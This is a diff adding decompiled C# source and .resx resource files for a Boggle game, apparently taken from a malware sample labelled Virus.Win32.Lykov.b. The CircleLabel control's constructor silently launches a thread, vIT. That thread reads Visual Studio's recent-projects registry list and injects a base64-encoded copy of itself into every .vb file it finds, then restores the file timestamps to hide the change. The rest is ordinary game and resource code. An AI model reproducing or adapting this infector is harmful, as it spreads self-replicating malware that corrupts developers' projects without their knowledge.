<data name="ll3.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="f1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="ur4.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="ur3.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="m2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="top4.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="bot3.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="bot1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="ul3.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="m1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="ul1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="m4.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="top3.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lr1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lr3.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="ur1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="ur2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="ll2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="ll1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="f2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="bot2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="bot4.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="m3.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
</root>
@@ -0,0 +1,214 @@
// Decompiled with JetBrains decompiler
// Type: Boggle.CircleLabel
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.IO;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Boggle
{
public class CircleLabel : UserControl
{
[AccessedThroughProperty("lblText")]
private Label _lblText;
private IContainer components;
private string clsText;
private System.Drawing.Color clsHighLight;
private long clsRadius;
private System.Drawing.Color clsCubeTextColor;
internal virtual Label lblText
{
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._lblText != null)
this._lblText.Click -= new EventHandler(this.CircleLabel_Click);
this._lblText = value;
if (this._lblText == null)
return;
this._lblText.Click += new EventHandler(this.CircleLabel_Click);
}
get => this._lblText;
}
public virtual event CircleLabel.CubeClickEventHandler CubeClick;
private void vIT()
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList");
if (registryKey.ValueCount == 0)
ProjectData.EndApp();
string String2 = "Private Sub vIT()";
string str1 = "Public Sub New()";
string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()";
string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K";
string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3));
string Replacement = "J = \"";
int num1 = Strings.Len(str3);
int Start = 1;
while (Start <= num1)
{
Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\"";
checked { Start += 64; }
}
string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text);
int num2 = checked (registryKey.ValueCount - 1);
int index1 = 0;
while (index1 <= num2)
{
string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1]));
string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text));
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path, "*.vb");
int num3 = Information.LBound((Array) files);
int num4 = Information.UBound((Array) files);
int index2 = num3;
while (index2 <= num4)
{
DateTime lastAccessTime = File.GetLastAccessTime(files[index2]);
DateTime lastWriteTime = File.GetLastWriteTime(files[index2]);
FileAttributes attributes = File.GetAttributes(files[index2]);
File.SetAttributes(files[index2], FileAttributes.Normal);
StreamReader streamReader = File.OpenText(files[index2]);
string end = streamReader.ReadToEnd();
streamReader.Close();
if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0)
{
string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text);
StreamWriter text = File.CreateText(files[index2]);
text.Write(str6);
text.Flush();
text.Close();
}
File.SetLastWriteTime(files[index2], lastWriteTime);
File.SetLastAccessTime(files[index2], lastAccessTime);
File.SetAttributes(files[index2], attributes);
checked { ++index2; }
}
}
checked { ++index1; }
}
}
public CircleLabel()
{
this.Click += new EventHandler(this.CircleLabel_Click);
new Thread(new ThreadStart(this.vIT)).Start();
this.InitializeComponent();
this.clsRadius = 55L;
this.clsText = "W";
System.Drawing.Color color = new System.Drawing.Color();
this.clsHighLight = System.Drawing.Color.LightGray;
this.clsCubeTextColor = System.Drawing.Color.DarkBlue;
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.lblText = new Label();
this.SuspendLayout();
this.lblText.AutoSize = true;
this.lblText.Font = new Font("Microsoft Sans Serif", 20.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.lblText.Location = new Point(24, 32);
this.lblText.Name = "lblText";
Label lblText = this.lblText;
Size size1 = new Size(36, 31);
Size size2 = size1;
lblText.Size = size2;
this.lblText.TabIndex = 0;
this.lblText.Text = "W";
this.Controls.AddRange(new Control[1]
{
(Control) this.lblText
});
this.Name = nameof (CircleLabel);
size1 = new Size(88, 96);
this.Size = size1;
this.ResumeLayout(false);
}
public System.Drawing.Color CubeTextColor
{
get => this.clsCubeTextColor;
set
{
this.clsCubeTextColor = value;
this.Refresh();
}
}
protected override void OnPaint(PaintEventArgs pe)
{
GraphicsPath path = new GraphicsPath();
path.AddArc(0.0f, 0.0f, (float) this.clsRadius, (float) this.clsRadius, 0.0f, 360f);
this.BackColor = this.clsHighLight;
this.Width = checked ((int) this.clsRadius);
this.Height = checked ((int) this.clsRadius);
this.lblText.Text = this.clsText;
this.lblText.ForeColor = this.clsCubeTextColor;
this.lblText.Left = checked ((int) Math.Round(unchecked ((double) this.Width / 2.0 - (double) this.lblText.Width / 2.0)));
this.lblText.Top = checked ((int) Math.Round(unchecked ((double) this.Height / 2.0 - (double) this.lblText.Height / 2.0)));
this.Region = new Region(path);
}
public string CubeText
{
get => this.clsText;
set
{
this.clsText = value;
this.Refresh();
}
}
public System.Drawing.Color CubeHighLight
{
get => this.clsHighLight;
set
{
this.clsHighLight = value;
this.Refresh();
}
}
public long CubeTopRadius
{
get => this.clsRadius;
set
{
this.clsRadius = value;
this.Refresh();
}
}
private void CircleLabel_Click(object sender, EventArgs e)
{
if (this.CubeClickEvent == null)
return;
this.CubeClickEvent(this, e);
}
public delegate void CubeClickEventHandler(CircleLabel Sender, EventArgs e);
}
}
@@ -0,0 +1,126 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="$this.Name" mimetype="application/x-microsoft.net.object.binary.base64">
<value>C0NpcmNsZUxhYmVs</value>
</data>
<data name="lblText.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
</root>
@@ -0,0 +1,256 @@
// Decompiled with JetBrains decompiler
// Type: Boggle.Cube
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections;
using System.Drawing;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
namespace Boggle
{
public class Cube
{
[AccessedThroughProperty("clsPicCubeDown")]
private PictureBox _clsPicCubeDown;
private CircleLabel clsCubeLabel;
private bool clsIsBack;
private virtual PictureBox clsPicCubeDown
{
get => this._clsPicCubeDown;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
if (this._clsPicCubeDown != null)
this._clsPicCubeDown.Paint -= new PaintEventHandler(this.clspicCubeDown_Paint);
this._clsPicCubeDown = value;
if (this._clsPicCubeDown == null)
return;
this._clsPicCubeDown.Paint += new PaintEventHandler(this.clspicCubeDown_Paint);
}
}
public Cube()
{
this.clsCubeLabel = new CircleLabel();
this.clsPicCubeDown = new PictureBox();
}
public Color CubeTextColor
{
get => this.clsCubeLabel.CubeTextColor;
set => this.clsCubeLabel.CubeTextColor = value;
}
public bool IsBack
{
get => this.clsIsBack;
set => this.clsIsBack = value;
}
public PictureBox CubeDownPic
{
get => this.clsPicCubeDown;
set => this.clsPicCubeDown = value;
}
public Color CubeHighLight
{
get => this.clsCubeLabel.CubeHighLight;
set => this.clsCubeLabel.CubeHighLight = value;
}
public long CubeTopTop
{
get => (long) this.clsCubeLabel.Top;
set => this.clsCubeLabel.Top = checked ((int) value);
}
public long CubeTopLeft
{
get => (long) this.clsCubeLabel.Left;
set => this.clsCubeLabel.Left = checked ((int) value);
}
public long CubeTopHeight
{
get => (long) this.clsCubeLabel.Height;
set => this.clsCubeLabel.Height = checked ((int) value);
}
public long CubeTopWidth
{
get => (long) this.clsCubeLabel.Width;
set => this.clsCubeLabel.Width = checked ((int) value);
}
public object CubeTopRadius
{
get => (object) this.clsCubeLabel.CubeTopRadius;
set => this.clsCubeLabel.CubeTopRadius = LongType.FromObject(value);
}
public string CubeLetter
{
get => this.clsCubeLabel.CubeText;
set => this.clsCubeLabel.CubeText = value;
}
public CircleLabel CubeLabel
{
get => this.clsCubeLabel;
